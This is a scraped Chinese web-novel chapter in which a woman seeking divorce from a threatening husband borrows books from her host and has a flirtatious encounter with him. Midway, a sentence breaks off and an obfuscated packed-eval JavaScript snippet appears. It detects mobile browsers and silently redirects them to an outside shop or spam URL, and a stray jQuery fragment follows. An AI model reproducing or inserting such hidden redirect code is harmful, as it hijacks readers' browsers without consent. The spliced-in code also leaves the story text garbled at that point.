默认冷灰
24号文字
方正启体

13. 放肆打量

作者:贝九本书字数:K更新时间:
    接连几天,盛向明都打来电话,重申立场:绝不离婚。


    俞浅墨愤而挂断他的电话,可他转而发来电报,执着地表示,不会离婚,请她回家。


    自从被伍冲霄暴揍一顿后,盛向明再也不敢上门,只得借助种种通讯工具,表达坚贞不屈的意志。


    电报寄来了好几封,俞浅墨已经懒得看,她几次向律师询问进度,律师为难地表示,“盛先生避而不见。”


    可恨这年代的离婚手续繁琐而守旧,男人享有离婚优先权,女人要离婚?除非有受丈夫虐待的铁证,否则要等待足足八个月。


    八个月?


    八个月!


    还要两百多个日夜,她才能拿回父亲的版税,才能有钱给自己置办一套房子,筹谋未来的人生!


    她觉得难以忍受,主动给盛向明打去电话。


    听到她的声音,盛向明语调抬高,声音轻快,“浅墨,你想通了,要回家了是不是?”


    “不,请你不要无谓地拖延,尽快和律师会面,推进离婚。”


    盛向明的情绪急转直下,“不,我不同意,我不见律师,也不签字。”


    “我们已经没有感情,这样拖着有什么意思?”


    “不,浅墨,听我说,”盛向明的语气,忽然变得冷酷有力,“我的耐心差不多要耗尽了,你知不知道现在外面有很多流言蜚语,说我老婆被别人拐走了?我忍受着这些,有多么不容易?!浅墨,快点回家来,我们当做无事发生,继续幸福地生活下去。”


    流言蜚语?!


    是啊,发生了这些事,难免会有风言风语传出去……可是,盛向明口口声声说的“幸福”,更刺激着她的神经。


    他们之间,还有什么幸福可言?


    自从被盛向明母子赶出家门,短短十数日,却像过了半生。


    她开始思考一些以前从没想过的问题,看清这场婚姻含情脉脉的面纱背后,藏着怎样的算计和权衡。


    “浅墨,只要你愿意,我现在就开车去接你。”


    “不。”


    她拒绝得干脆,绝不愿再受这伪君子和老姑婆的磋磨。


    电话那端安静了数秒,继而响起盛向明的声音,“浅墨,你这样一意孤行,别怪我不念旧情!”


    声音阴恻恻,像角落里探出信子的毒蛇。


    俞浅墨挂断电话,皱眉咬唇,十分烦闷。


    宋阿婆来劝,“小姐,不要咬嘴唇,会咬破的。我听杜三信他们说,胡律师正在收集对我们有利的证据,等到证据齐备,就能上法院开庭。”


    她叹一口气,“说的也是”,转而看向宋阿婆,看着她皱缩得核桃一样的脸孔,问道,“阿婆,我住在这里,别人会怎么看?外面的人,会不会说我是水性杨花、不检点的女人?”


    宋阿婆一怔,疼惜地摸了摸她的头,“这是谁在您耳边乱说?是不是盛向明那个混蛋?”


    俞浅墨的眼神黯了黯,“他说,外面在传一些流言蜚语。”


    宋阿婆坐到她身边,把桌上温热的红茶端给她。


    “小姐,您被盛家母子作践的时候,外人可没来帮过您一星半点,现在,外人怎么说,我们也别去想了。嘴长在别人身上,他们爱说什么就说什么,小姐照自己的心意生活,最重要。”


    “不管别人怎么说,小姐始终是阿婆心里的宝,是这世界上最好最好的小姐。”


    “阿婆。”


    俞浅墨一阵动容,揽住宋阿婆的肩膀,双眼半含泪。


    阿婆的身形,何时变得这样矮小、枯瘦?从前,在她还小的时候,她有丰润的身体和饱满的手臂,现在,都被时光夺走了。


    “哇,好丢脸,俞小姐这么大了,还哭鼻子呢!”


    敞开的窗口,一片绿荫中,露出凌锐倒吊的半个身子。


    俞浅墨直起身子,用手背擦去眼角一点泪渍,扳起脸孔。


    “去去去,我才没哭鼻子,是你看错了。”


    “不可能,我眼神一向很好!”


    “阿婆,你看,没有眼泪对不对?”


    俞浅墨扒着眼睛,凑近了给宋阿婆看。


    宋阿婆自然是衷心护主,偏袒到底,“是是,小姐没有哭。”


    凌锐怪叫一声,“哇,老婆婆偏心!这不公平!”


    气氛逐渐变得热闹欢腾,冲淡了她心头的不快。


    吃过晚饭,顾姨问她,要不要去书房挑几本书看。


    俞浅墨十分诧异,“这里有书房?”


    顾姨点头,“当然。”


    “可是,为什么?我以为伍冲霄不爱看书。”


    “怎么会,少爷从小就爱看那些打打杀杀的书,什么游侠列传、三国志……”


    顾姨的声音,在长长的走廊里回响,声声不息。


    她不解,伍冲霄是一个爱看书的花花公子?


    不过,也有几分道理。


    肚子里没点墨水,怎样和女子谈情说爱?若不懂一点诗情画意,如何采撷女子芳心?


    伍冲霄的书房,在主宅左手边的一栋二层白色小洋房,两座建筑以一条长廊连接。


    书房在二楼的尽头,铺着厚厚的波斯地毯,除开窗户,三壁立着高高的红木书架,堆满了书。


    俞浅墨注意到,这些书分门别类地摆放着,十分规整。


    通常来说,这是爱书人才会有的举动。


    比如说她的父亲,知名作家俞怀舟,轻易不让人踏进自己的书房,不仅因为他习惯在书房创作,还因为那里收藏着不少珍贵孤本。父亲甚至不放心仆人清扫书架,多年来坚持自己清理。


    除了母亲和她,获准进出父亲书房的,也不过三五挚友。


    伍冲霄有什么书?


    她好奇地走到书架前,一排排看过去。


    历史类、志怪类、诗歌类、侦探故事类……不一而足,十分齐全。


    她停在小说这一栏前面,看到了几位熟悉的法国作家和英国作家的名字,再往后,是国内作家的作品。


    然后,她看到了父亲的作品,写着“俞怀舟作品全集”的硬壳书脊,书脊印刷成典雅的墨绿色,字是浓金色。


    她反复看书脊上的字,伸出手指,抚触那凹进去的金字。


    不觉间,视线有些模糊。


    顾姨的声音传来,“小姐,有喜欢的书吗?随便哪本书,都可以拿回去看,也可以在这里看。”


    “真的吗?”


    她看见了手稿形式的《坎特伯雷故事集》,还有《莱斯特手稿》,这本书里汇集了天才达芬奇的文稿和图画,是举世公认的宝藏。


    不知道这些是不是原本,假如是仿本,也做得十分相像,因为她曾在陪同父母游历欧洲时,见过当地人收藏的真本。


    “我可以随便借吗?要不要打电话,再向伍少爷确认一下?”


    “不用,”顾姨回得十分笃定,“少爷一早吩咐过,这里的书您随便看。”


    虽然父亲是有名的文人,可她对纯文学典籍向来兴致缺缺,心情平和愉快时,她喜欢看些历史读物,心情不痛快时,便想一头扎进侦探小说里,忘记自身烦恼。


    在父母身边,她看历史书比较多,嫁人后,几乎只读侦探故事了。


    福尔摩斯和大侦探波罗的故事早已烂熟于心,她望定一排写着“东洋推理故事——半七捕物帐”的书,书是一套,书脊处画着浮世绘风格的蓝色海浪,合在一起,就是一副完整的画作。


    伸手抽出前两本。


    短短一天,两本书就读完,推理情节算不上多么巧妙,故事中处处流淌的东洋风情,却别有一番韵味。


    净琉璃、花魁、人偶、樱花……这些东洋词语,勾起她遥远的回忆。


    童年时父亲到东洋访学,她曾跟随至东京,并在那里上过一年学,虽然现在只记得几句日常用语,却对这些东洋事物,有着熟悉又陌生的感觉。


    午睡后醒来,她抱起书,向书房走去。


    她要还掉这两本,再借来三本。


    房门没锁,黄铜把手一拧就开,宽大明净的书房里空无一人。


    她虚掩上门,走到书架前,把怀里的书放到原来的位置,按照顺序摆好。


    这是自小养成的习惯。


    摆好旧书,抽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276554|198274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出新书,她郑重抱在怀里,折返身。


    这书房里,还另嵌套一个小房间,俞浅墨想当然地认为,那是堆放书籍的仓库,她家里也有一个。


    就在她走过那扇门时,“咔擦”,把手转动的声音清晰传来,她下意识转头,见房门打开,一缕朦胧水汽消散后,露出一张俊美无匹的脸。


    伍冲霄的脸。


    原来不是仓库,竟是一间浴室。


    那英俊潇洒的脸上挂几颗水珠,湿漉漉的额发垂下来,比平日多了几分柔和。


    伍冲霄赤裸着上身,露出精壮胸膛,下身只穿一条白色长裤,裤腰松松系在腰间。


    灯光下,他那宽阔的肩膀十分平整,胸口饱满结实,腹部整整齐齐码着巧克力排一样的小砖块。


    他手里端着一只玻璃杯,琥珀色酒液里的冰块随着他的动作,发出清晰的碰撞声。


    她吓了一跳,后知后觉地捂住眼睛,“对不起”。


    怀里的书“啪嗒”落在地上,她慌张地蹲下捡书。


    一边捡,一边垂眸道歉,“对不起,我这就出去。”


    蓦的,一只强壮有力的蜜色手臂闯入眼帘,握住她柔软的小手,一用力,把她拉起。


    她眨了眨眼,那蜜色的肌肤紧实光滑,触手可及。


    多奇怪,她从前只当西欧油画和希腊雕像是唬人的,那样的肌肉线条、身形轮廓,不过是艺术家加工美化后的作品。


    可是伍冲霄,他生机勃勃的身体,优雅流畅的肌肉线条,叫她想到一只游走在油绿枝叶间的矫健豹子,蓄势待发,浑然天成。


    低沉的声音在头顶响起,带着混沌笑意。


    “为什么道歉?难道,你看见了什么不该看的吗?”


    她极力摇头否认,“不不不,我没有,我什么都没看见。”


    可是一颗水珠,划过他那强壮的脖颈,流向鼓起的胸部,乍然收紧的腰腹……


    她被吸引了,目光竟忍不住随着那颗水珠,在他身体上逡巡。


    他和盛向明完全不同。


    盛向明白净斯文,握笔的手臂细瘦,没有多少肌肉。


    而眼前的人,浅蜜色皮肤闪着丝绸一样的光泽,高大强壮,骨骼匀称,肌肉结实。


    吓,她在干什么!


    她怎么可以这样放肆地打量一个男人半裸的身体?


    她怎么会拿他和盛向明悄悄对比?


    “还想往下看吗?如果是俞小姐,我都可以……”


    他的话在这里停住,留一个意味深长的余韵,一只手扯住裤腰上的系带,作势要拉开。


    “不,不!”


    她拼命摇头,脸已经红透。


    向后一步,腰抵上硬硬的书桌。


    他跟随而来,手里的酒杯放在桌上,空出来的那只手就势按在桌上,仿佛半个拥抱,将她困在自己和书桌之间。


    空间陡然收缩。


    柠檬皂的清香、酒的醇香、书的油墨味,她的气息和他的味道,交融在一起,已经分不清是谁覆盖了谁,又是谁吞噬了谁。


    忽觉头脑发昏,四肢发软。


    俯身,他的嘴唇在靠近,弓形唇瓣上残留的酒液在灯下微微发亮,让她想起闪着潮湿光泽的某种水果。


    “我知道了,你是打算趁我洗澡,对我偷袭。”


    他在逗她,嗓音带笑,目光似蜜糖,黏在她脸上。


    她惊慌摇头,“不,我没有……我以为这里是仓库,我不知道你在这里,我只是来还书,我、我要回去了。”


    说着,用力推开他,从他手臂下一闪身,逃往门外。


    语无伦次,落荒而逃。


    她跑过走廊,跑过客厅,跑到自己的卧室。


    一路上,顾不上回答女仆的问候,听不见凌锐好奇的发问,就连宋阿婆喊她,她都没听见。


    心如擂鼓,擂得她耳鸣目眩。


    她一头扑到床上,用被子把自己包裹起来。


    书房里,伍冲霄盯着敞开的房门,眼底眉梢都是笑意。


    刚刚,他确认了一件事。


    她对他的身体,还算喜欢。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)